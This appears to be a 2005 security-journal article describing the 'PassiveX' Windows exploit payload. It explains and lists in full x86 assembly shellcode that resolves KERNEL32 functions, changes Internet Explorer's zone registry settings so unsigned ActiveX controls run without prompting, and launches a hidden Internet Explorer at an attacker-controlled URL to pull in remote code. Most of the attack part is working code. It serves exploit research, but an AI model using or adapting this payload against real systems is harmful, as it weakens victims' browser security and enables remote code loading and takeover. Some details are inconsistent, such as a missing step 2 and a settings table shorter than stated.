Informative Information for the Uninformed

Vol 1» 2005.May

This section will describe the implementation of the payload that an exploit will send across as the arbitrary code that is to be executed once the exploit succeeds. This code will be executed in the context of the exploited process and is what will be used to facilitate the loading of an ActiveX control inside of an instance of Internet Explorer. There are, as with all things, a number of ways to implement this payload. The following steps describe the actions that such a payload would need to perform in order to accomplish this task.

1. Find KERNEL32.DLL and resolve symbols

The first step, as is true with most Windows payloads, is to locate the base address of KERNEL32.DLL. Determining the base address of KERNEL32.DLL is necessary in order to load other modules, such as ADVAPI32.DLL. The way that this is accomplished is to resolve the address of kernel32!LoadLibraryA. The technique used to locate the base of KERNEL32.DLL can be any one of the typically employed approaches, such as PEB or TOPSTACK. For this payload, it is also necessary to resolve the address of kernel32!CreateProcessA so that the hidden Internet Explorer can be executed.

3. Open the Internet zone's registry key

After resolving all of the necessary symbols, the next step is to open the Internet zone's registry key for writing so that the individual settings for ActiveX controls can be set to the enabled status. This is accomplished by calling advapi32!RegCreateKeyA in the following fashion:

HKEY Key;

RegCreateKeyA(
HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion"
"\Internet Settings\Zones\3",
&Key);


While testing this portion of the payload it was noted that Windows 2000 with Internet Explorer 5.0 does not have the necessary registry keys created under the HKEY_USERS\.DEFAULT registry key. Even if the necessary keys are created, the first time Internet Explorer is executed from within the system service leads to the internet connection wizard being displayed. This basically makes it such that the payload is only capable of working on machines that have Internet Explorer 6.0 installed (such as Windows XP and 2003 Server).

4. Modify IE's Internet zone restrictions

Once the key has been successfully opened the zone restrictions for prohibiting ActiveX controls from being used can be changed. There are four settings that need to be toggled to ensure that ActiveX controls will be usable:

Setting Value Name Description
1200 Run ActiveX controls and plugins
1201 Initialize and script ActiveX controls not marked as safe

In order to make it so ActiveX controls can be used, each of the above described settings must be changed to Enabled. This is done by setting each of the values to 0 by calling advapi32!RegSetValueExA on the opened key for each of the individual registry values. After these values are set to enabled, Internet Explorer will, by default, download and execute ActiveX controls regardless of whether or not they are signed without user interaction. The actual process of setting of a value is demonstrated below:

DWORD Enabled = 0;

RegSetValueEx(
Key,
"1001",
0,
REG_DWORD,
(LPBYTE)&Enabled,
sizeof(Enabled));

5. Determine the path to Internet Explorer

With the zone restrictions modified, the next step is to determine the full path to IEXPLORE.EXE. The reason this is necessary is because IEXPLORE.EXE is not in the path by default and thus cannot be executed by name. While shell32!ShellExecuteA may appear like an option, it is in fact not considering the fact that the target machine may have Mozilla registered as the default web-browser. It should also not be assumed that Internet Explorer will reside on a static drive, such as the C: drive. Even though it may be common, there are sure to be cases where it will not be true.

One way of working around this issue is to use a very small portion of code that determines the absolute path to internet explorer in only two assembly instructions. The code itself makes an assumption that Internet Explorer's installation will be on the same drive as the Windows system directory and that it will also be installed under its standard install directory. Barring this, however, the two instructions should result in a portable implementation between various versions of Windows NT+:

url:
db "C:\progra~1\intern~1\iexplore -new http://site", 0x0

...

fixup_ie_path:
mov   cl, byte [0x7ffe0030]
mov   byte [esi], cl


In the above code snippet, esi points to url. The static address being referenced is actually a portion of SharedUserData that just so happens to point to the unicode path of the system directory on the machine. By making the assumption that the drive letter that the system directory is found on will be the same as the one that Internet Explorer is found on, it is possible to copy the first byte from the system directory path to the first byte of the path to Internet Explorer on disk, thus ensuring that the drive letters are the same3.5.

6. Execute a hidden Internet Explorer with a specific target URL

Once the full path to Internet Explorer has been located, all that remains is to execute a hidden Internet Explorer with it pointed at an attacker controlled HTTP server. This is accomplished by calling CreateProcessA with the command line argument properly set to the full path to Internet Explorer. Furthermore, the wShowWindow attribute should be set to SW_HIDE to ensure that the Internet Explorer instance is hidden from view. This is accomplished by calling CreateProcessA in the following fashion:

PROCESS_INFORMATION pi;
STARTUPINFO si;

ZeroMemory(
&si,
sizeof(si));

si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;

CreateProcessA(
NULL,
url, // "\path\to\iexplore.exe -new <url>"
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);


One important thing to note about this phase is that in order to get it to work properly with system services that are not able to directly interact with the desktop, the si.lpDesktop attribute must be set to something like WinSta0\Default.

An implementation of this approach can be found below. It is optimized for size (roughly 400 bytes, adjusted for the variable URL length), robustness, and portability. A large part of the payload's size comes from the static strings that it has to reference for opening the registry key, setting the values, and executing Internet Explorer. The size of the payload is one of its major benefits to this approach as it ends up being much smaller than other techniques that attempt to accomplish a similar goal[9].



Targets: NT/2000/XP/2003

Size: 		  400 bytes + URL size


passivex:
cld
call  get_find_function
strings:
db    "Software\Microsoft\Windows\"
db    "CurrentVersion\Internet Settings\Zones\3", 0x0
reg_values:
db    "1004120012011001"
url:
db    "C:\progra~1\intern~1\iexplore -new"
db    " http://attacker/controlled/site", 0x0
get_find_function:
call startup
find_function:
mov   ebp, [esp + 0x24]
mov   eax, [ebp + 0x3c]
mov   edi, [ebp + eax + 0x78]
mov   ecx, [edi + 0x18]
mov   ebx, [edi + 0x20]
find_function_loop:
jecxz find_function_finished
dec   ecx
mov   esi, [ebx + ecx * 4]
compute_hash:
xor   eax, eax
cdq
compute_hash_again:
lodsb
test  al, al
jz    compute_hash_finished
ror   edx, 0xd
jmp   compute_hash_again
compute_hash_finished:
find_function_compare:
cmp   edx, [esp + 0x28]
jnz   find_function_loop
mov   ebx, [edi + 0x24]
mov   cx, [ebx + 2 * ecx]
mov   ebx, [edi + 0x1c]
mov   eax, [ebx + 4 * ecx]
mov   [esp + 0x1c], eax
find_function_finished:
retn 8
startup:
pop   edi
pop   ebx
find_kernel32:
xor   edx, edx
mov   eax, [fs:edx+0x30]
test  eax, eax
js    find_kernel32_9x
find_kernel32_nt:
mov   eax, [eax + 0x0c]
mov   esi, [eax + 0x1c]
lodsd
mov   eax, [eax + 0x8]
jmp   short find_kernel32_finished
find_kernel32_9x:
mov   eax, [eax + 0x34]
mov   eax, [eax + 0x3c]
find_kernel32_finished:
mov   ebp, esp
find_kernel32_symbols:
push  0x73e2d87e
push  eax
push  0x16b3fe72
push  eax
push  0xec0e4e8e
push  eax
call  edi
xchg  eax, esi
call  edi
mov   [ebp], eax
call  edi
mov   [ebp + 0x4], eax
push  edx
push  0x32336970
push  0x61766461
push  esp
call  esi
push  0x02922ba9
push  eax
push  eax
call  edi
mov   [ebp + 0x8], eax
call  edi
xchg  eax, edi
xchg  esi, ebx
open_key:
push  esp
push  esi
push  0x80000001
call  edi
pop   ebx
add   esi, byte (reg_values - strings)
push  eax
mov   edi, esp
set_values:
cmp   byte [esi], 'C'
jz    initialize_structs
push  eax
lodsd
push  eax
mov   eax, esp
push  byte 0x4
push  edi
push  byte 0x4
push  byte 0x0
push  eax
push  ebx
call  [ebp + 0x8]
jmp   set_values
fixup_drive_letter:
mov   cl, byte [0x7ffe0030]
mov   byte [esi], cl
initialize_structs:
push  byte 0x54
pop   ecx
sub   esp, ecx
mov   edi, esp
push  edi
rep   stosb
pop   edi
mov   byte [edi], 0x44
inc   byte [edi + 0x2c]
inc   byte [edi + 0x2d]
execute_process:
lea   ebx, [edi + 0x44]
push  ebx
push  edi
push  eax
push  eax
push  byte 0x10
push  eax
push  eax
push  eax
push  esi
push  eax
call  [ebp]
exit_process:
call  [ebp + 0x4]